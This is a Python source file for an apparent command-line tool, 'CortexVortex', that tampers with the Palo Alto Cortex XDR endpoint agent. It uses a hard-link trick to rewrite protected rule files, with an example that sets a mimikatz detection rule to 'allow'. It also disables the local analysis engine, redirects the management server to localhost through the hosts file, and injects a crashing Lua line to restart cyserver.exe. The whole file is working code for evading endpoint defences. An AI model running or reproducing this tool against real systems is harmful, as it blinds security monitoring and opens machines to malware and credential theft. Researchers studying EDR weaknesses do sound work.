Files
2024-04-19 07:14:16 +03:00

457 lines
17 KiB
Python

"""
This module provides utilities for Palo Alto Cortex XDR.
It includes:
1. creating an hard link (without write permissions) to a target file.
2. modify lua rules (based on the dse_rules_config.lua file)
3. invoke a check-in operation which cause the XDR to load new rules.
4. update cyserver policy rules localy (without connection to the managment server)
5. get managment-server URL.
"""
import argparse
import json
import logging
import os
import random
import re
import subprocess
import tempfile
from time import sleep
import psutil
from filesystem_link import create_hard_link
from logger import init_logger
TEMP_PATH = os.path.expandvars(r'%temp%\\')
SERVICE_MAIN_PY_PATH = os.path.expandvars(r'%ProgramData%\Cyvera\LocalSystem\Python\scripts\service_main.py')
DSE_RULES_FILE = os.path.expandvars(r'%ProgramData%\Cyvera\LocalSystem\Download\content\dse_rules_config.lua')
MALWARE_RULES_FILE = os.path.expandvars(r'%ProgramData%\Cyvera\LocalSystem\Download\content\malware.lua')
HOSTS_FILE_PATH = os.path.expandvars(r'%SystemRoot%\System32\drivers\etc\hosts')
PREVENTION_FOLDER_PATH = os.path.expandvars(r'%ProgramData%\Cyvera\Prevention')
CYTOOL_PATH = os.path.expandvars(r'%ProgramFiles%\Palo Alto Networks\Traps\cytool')
MGMT_URL_FILE_1 = os.path.expandvars(r'%ProgramData%\Cyvera\LocalSystem\Data\db_backup\core_home_url.txt')
ENABLE_WILD_FIRE_RULE = "file_settings.EnableWildFire"
BLOCK_HASH_CONTROL_RULE = "file_settings.BlockHashControl"
ENABLE_HASH_CONTROL_RULE = "file_settings.EnableHashControl"
ENABLE_SIGNER_CONTROL_RULE = "file_settings.EnableSignerControl"
LOCAL_ANALYSIS_RULES = [ENABLE_WILD_FIRE_RULE, BLOCK_HASH_CONTROL_RULE, ENABLE_HASH_CONTROL_RULE, ENABLE_SIGNER_CONTROL_RULE]
LOCALHOST = "127.0.0.1"
MGMT_URL_FILE_2 = "cloud_frontend.json"
ACTION_VALUES = ["allow", "block", "internal"]
ENABLED_OPTIONS = ["enable", "disable"]
STATUS_SUCCESS = 0x0
STATUS_ACCESS_VIOLATION = 0xC0000005
def _do_checkin():
"""
Performs a check-in operation.
This function initiates a check-in operation by invoking a command-line tool cytool.exe
The check-in operation causes cyserver to reload the rules from the Lua files.
:return: The return code of the check-in operation.
"""
# This is cause cyserver to load again the rules from the lua file.
args = [CYTOOL_PATH, 'checkin']
p = subprocess.Popen(args, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
return_code = p.wait()
sleep(10)
return return_code
def start_cyserver():
"""
Starts the cyserver.exe process.
This function starts the cyserver processby invoking a command-line tool cytool.exe
:return: The return code of the cytool runtime cyserver start.
"""
# This is cause cyserver to load again the rules from the lua file.
args = [CYTOOL_PATH, 'runtime', 'start', 'cyserver']
p = subprocess.Popen(args, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
return_code = p.wait()
return return_code
def get_management_url():
"""
Retrieves the management server URL using two methods.
This function attempts to retrieve the management server URL using two methods:
1. Reads from a specified file (MGMT_URL_FILE_1).
2. Searches for a specific file (MGMT_URL_FILE_2) in a
specified folder (MGMT_FOLDER_PATH) and extracts the URL from its contents.
:return: The management server URL if found, otherwise None.
"""
mgmt_url = None
# Method 1 of getting the manegment server URL:
if os.path.exists(MGMT_URL_FILE_1):
with open(MGMT_URL_FILE_1, 'r', encoding='utf8') as mgmt_server_url_file:
mgmt_url = mgmt_server_url_file.read()
return mgmt_url.removeprefix("https://")
else:
logging.error("Managment file: %s was not found", MGMT_URL_FILE_1)
# Method 2 of getting the manegment server URL:
cloud_frontend_file = None
for dirpath, _, filenames in os.walk(PREVENTION_FOLDER_PATH):
if cloud_frontend_file is not None:
break
for filename in filenames:
if filename == MGMT_URL_FILE_2:
file_path = os.path.join(dirpath, filename)
cloud_frontend_file = file_path
break
if cloud_frontend_file is None:
raise FileNotFoundError("cloud_frontend file not found, Failed to retrive MGMT URL")
with open(cloud_frontend_file, 'r', encoding='utf8') as json_file:
file_data = json.load(json_file)
try:
mgmt_url = file_data['entries'][1]['value']['cloud_communication_data'] \
['home_server']['url']
logging.info("Found MGMT URL: %s", mgmt_url)
return mgmt_url.removeprefix("https://")
except KeyError as e:
logging.error("Failed to retrive MGMT URL from cloud_frontend file")
logging.error(e)
logging.error("Exiting")
exit()
def modify_lua_config(lua_file_path, config_name, new_action):
"""
Modifies the action of a Lua configuration in a specified file.
This function modifies the action of a Lua configuration specified
by `config_name` in the Lua file located at `lua_file_path`.
It updates the action to `new_action` and writes the modified content back to the file.
:param lua_file_path: The path to the Lua file.
:param config_name: The name of the Lua configuration to modify.
:param new_action: The new action to set for the configuration, this value can be <allow, block, internal>
"""
if new_action not in ACTION_VALUES:
raise ValueError("Wrong value, values can be <allow, block, internal>")
try:
with open(lua_file_path, 'r', encoding='utf8') as file:
lua_content = file.readlines()
except PermissionError:
logging.error("Failed to read %s", lua_file_path)
return False
found_config = False
config_lines_to_modify = []
# The following patterns used to identify rules within the dse rules file.
config_name_pattern = f'.*\\[".*?{config_name}.*"\\] = '
action_pattern = r"action = \"(.+?)\""
# Get all the lines that contains the given config_name
for i, line in enumerate(lua_content):
# Check if the current line contains the configuration name
if re.match(config_name_pattern, line):
found_config = True
config_lines_to_modify.append(i)
if found_config:
# Write the modified Lua content back to the file
for line_idx in config_lines_to_modify:
action_idx = 0
try:
while not re.search(action_pattern, lua_content[line_idx + action_idx]):
action_idx+= 1
except IndexError:
logging.error("Out of index error when tried to look for action varaible")
logging.error("Corrupted DSE file \\ Error parsing, discard changes")
return False
lua_content[line_idx+action_idx] = re.sub(action_pattern, f'action = "{new_action}"',
lua_content[line_idx+action_idx])
try:
with open(lua_file_path, 'w', encoding='utf8') as file:
file.write(''.join(lua_content))
except PermissionError:
logging.error("Failed to write to %s", lua_file_path)
return False
logging.info("Configuration '%s' action has been modified to '%s'", config_name, new_action)
else:
logging.warning("Configuration '%s' not found in the Lua file.", config_name)
return True
def create_temp_hard_link(file_to_link):
"""
Creates a temporary hard link to a specified file.
:param file_to_link: The path of the file to create a hard link to.
:return: A string representing the path of the linked file.
"""
linked_dse_file_name = TEMP_PATH + os.path.basename(file_to_link) + ".tmp"
if os.path.exists(linked_dse_file_name):
os.remove(linked_dse_file_name)
res = create_hard_link(file_to_link, linked_dse_file_name)
if res != STATUS_SUCCESS:
if res == STATUS_ACCESS_VIOLATION:
raise PermissionError("Failed to linked files, make sure you have permissions to the target file")
else:
raise Exception("Failed to hard link files: %d", res)
logging.info("Successfully Hard linked %s <--> %s", linked_dse_file_name, file_to_link)
return linked_dse_file_name
def add_entry_to_hosts(url_to_add):
"""
Adds an entry to the hosts file if it doesn't already exist.
:param url_to_add: The URL to be added to the hosts file.
"""
try:
if os.path.exists(HOSTS_FILE_PATH):
with open(HOSTS_FILE_PATH, 'r', encoding='utf8') as file:
lines = file.readlines()
# Check if the URL is already in the hosts file
if any(url_to_add in line for line in lines):
logging.debug("The URL %s already exists in the hosts file.", url_to_add)
return True
with open(HOSTS_FILE_PATH, 'a', encoding='utf8') as file:
file.write(f"\n{LOCALHOST}\t{url_to_add}\n")
return True
else:
with open(HOSTS_FILE_PATH, 'w', encoding='utf8') as file:
logging.debug("Hosts file not found, creating new one")
file.write(f"\n{LOCALHOST}\t{url_to_add}\n")
return True
except PermissionError:
logging.error("Permission denied when tried to edit hosts file. Please run the script with appropriate permissions.")
exit()
return False
def update_cyserver_policy():
"""
Updates the CyServer policy without connection to the managment server.
This will allow the cyserver.exe process to load new rules.
"""
mgmt_url = get_management_url()
if mgmt_url:
logging.debug("Found managment server URL: %s", mgmt_url)
else:
logging.error("Failed to find manegment server URL")
return False
logging.info("Inserting managment URL to hosts file")
if not add_entry_to_hosts(mgmt_url):
logging.error("Failed to update hosts file")
return False
logging.info("Initiating check-in (~10 seconds)")
_do_checkin()
return True
def modify_rules_and_update(rules_file, rule_to_modify, new_action):
"""
Modifies rules in the linked DSE and updates the cyserver.exe policy.
This function modifies rules specified in `rules_to_modify` in the linked DSE file.
Then it updates the CyServer policy.
:param rules_file: The linked DSE config file to modify rules in.
:param rules_to_modify: A list of rules to modify.
:param new_action: The new action to apply to the modified rules.
"""
linked_dse_file = create_temp_hard_link(rules_file)
result = modify_lua_config(linked_dse_file, rule_to_modify, new_action)
if result:
logging.info("Rules modified sucussfully")
update_cyserver_policy()
else:
raise Exception("Failed to modify rules")
logging.info("Unlink files %s <-X-> %s",linked_dse_file, rules_file)
os.remove(linked_dse_file)
def is_cyserver_running():
"""
Check if the process 'cyserver.exe' is running.
Returns:
bool: True if the process 'cyserver.exe' is running, False otherwise.
"""
for proc in psutil.process_iter(['name']):
if proc.info['name'] == 'cyserver.exe':
return True
return False
def modify_local_analysis(action):
linked_malware_rules_file = create_temp_hard_link(MALWARE_RULES_FILE)
with open(linked_malware_rules_file,'r+', encoding='utf8') as malware_rules:
new_malware_rules_data = malware_rules.read()
for local_analysis_rule in LOCAL_ANALYSIS_RULES:
logging.info("Modifying rule: %s = %s", local_analysis_rule, action)
if action == "disable":
new_malware_rules_data = new_malware_rules_data.replace(f"{local_analysis_rule} = true", f"{local_analysis_rule} = false")
else:
new_malware_rules_data = new_malware_rules_data.replace(f"{local_analysis_rule} = false", f"{local_analysis_rule} = true")
malware_rules.seek(0)
malware_rules.write(new_malware_rules_data)
malware_rules.truncate()
logging.info("All rules has been modified")
update_cyserver_policy()
logging.info("Cortex Local anaylsis is now %s", action)
def restart_cyserver():
"""
Restart the cyserver process.
This function performs the following steps:
1. Creates a temporary hard link to the DSE_RULES_FILE.
2. Appends exception raise code to the DSE_RULES_FILE.
3. Updates the cyserver policy (this will cause cyserver to crash)
4. Waits until the cyserver process crashed.
5. Restores the original content of the DSE_RULES_FILE.
6. Starts the cyserver process.
Returns:
bool: True if the process 'cyserver.exe' was restarted, False otherwise.
"""
logging.info("Restarting cyserver.exe")
linked_dse = create_temp_hard_link(DSE_RULES_FILE)
with open(linked_dse,'r+', encoding='utf8') as dse_file:
original_lines = dse_file.read()
dse_file.seek(0, 2)
dse_file.write("\n--io.popen exception raise:\n")
dse_file.write('io.popen("cmd")\n')
logging.info("Inserting crashing command to DSE file")
if not update_cyserver_policy():
logging.error("Failed to update cyserver policy")
logging.warning("Revert changes")
# Revert the changes:
with open(linked_dse, 'w', encoding='utf8') as file:
file.write(original_lines)
return False
while is_cyserver_running():
sleep(1)
logging.info("cyserver.exe crashed successfully")
logging.info("Reverting changes for DSE_rules_config.lua")
with open(linked_dse, 'w', encoding='utf8') as file:
file.write(original_lines)
logging.info("Starting cyserver again")
sleep(5)
start_cyserver()
os.remove(linked_dse)
return True
def main():
"""CortexVortex: A command-line tool for controling Cortex XDR.
CortexVortex enables you to modify Cortex XDR settings, such as changing rules,
restarting the XDR process, and disabling the local analysis engine.
Examples:
CortexVortex change_rules --rules_file --rule_name mimikatz --new_value allow
CortexVortex local_analysis disable
CortexVortex restart_xdr
"""
init_logger()
parser = argparse.ArgumentParser(
description="CortexVortex: A command-line tool for managing Cortex XDR.\nCortexVortex enables you to modify Cortex XDR settings, such as changing rules, restarting the XDR process, and disabling the local analysis engine",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog=f"""\
Examples:
%(prog)s change_rules -rules_file <default: {DSE_RULES_FILE}> -rule_name <rule_name_to_change> -new_value <allow, block, internal>
%(prog)s -local_analysis <enable, disable>
%(prog)s restart_xdr
""")
subparsers = parser.add_subparsers(title="Available commands", metavar="")
# Subparser for 'change_rules' command
parser_change_rules = subparsers.add_parser('change_rules', help='Change Cortex XDR rules')
parser_change_rules.add_argument('--rules_file', default=DSE_RULES_FILE, help=f'Optional rules file (default: {DSE_RULES_FILE})')
parser_change_rules.add_argument('--rule_name', required=True, help='Name of the rule to change')
parser_change_rules.add_argument('--new_value',required=True, choices=ACTION_VALUES, help='New value for the rule (allow, block, internal)')
parser_change_rules.set_defaults(func=modify_rules_and_update)
# Subparser for 'local_analysis' command
parser_local_analysis = subparsers.add_parser('local_analysis', help="Disable/Enable XDR's local analysis")
parser_local_analysis.add_argument('local_analysis', help='Enable \ Disable', choices=('enable', 'disable'))
parser_local_analysis.set_defaults(func=modify_local_analysis)
# Subparser for 'restart_xdr' command
parser_restart_xdr = subparsers.add_parser('restart_xdr', help='Restart Cortex XDR process')
parser_restart_xdr.set_defaults(func=restart_cyserver)
args = parser.parse_args()
if hasattr(args, 'func'):
if args.func == modify_local_analysis:
modify_local_analysis(args.local_analysis)
if args.func == modify_rules_and_update:
modify_rules_and_update(args.rules_file, args.rule_name, args.new_value)
if args.func == restart_cyserver:
restart_cyserver()
logging.info("cyserver.exe restarted successfully")
logging.info("Done")
if __name__ == "__main__":
main()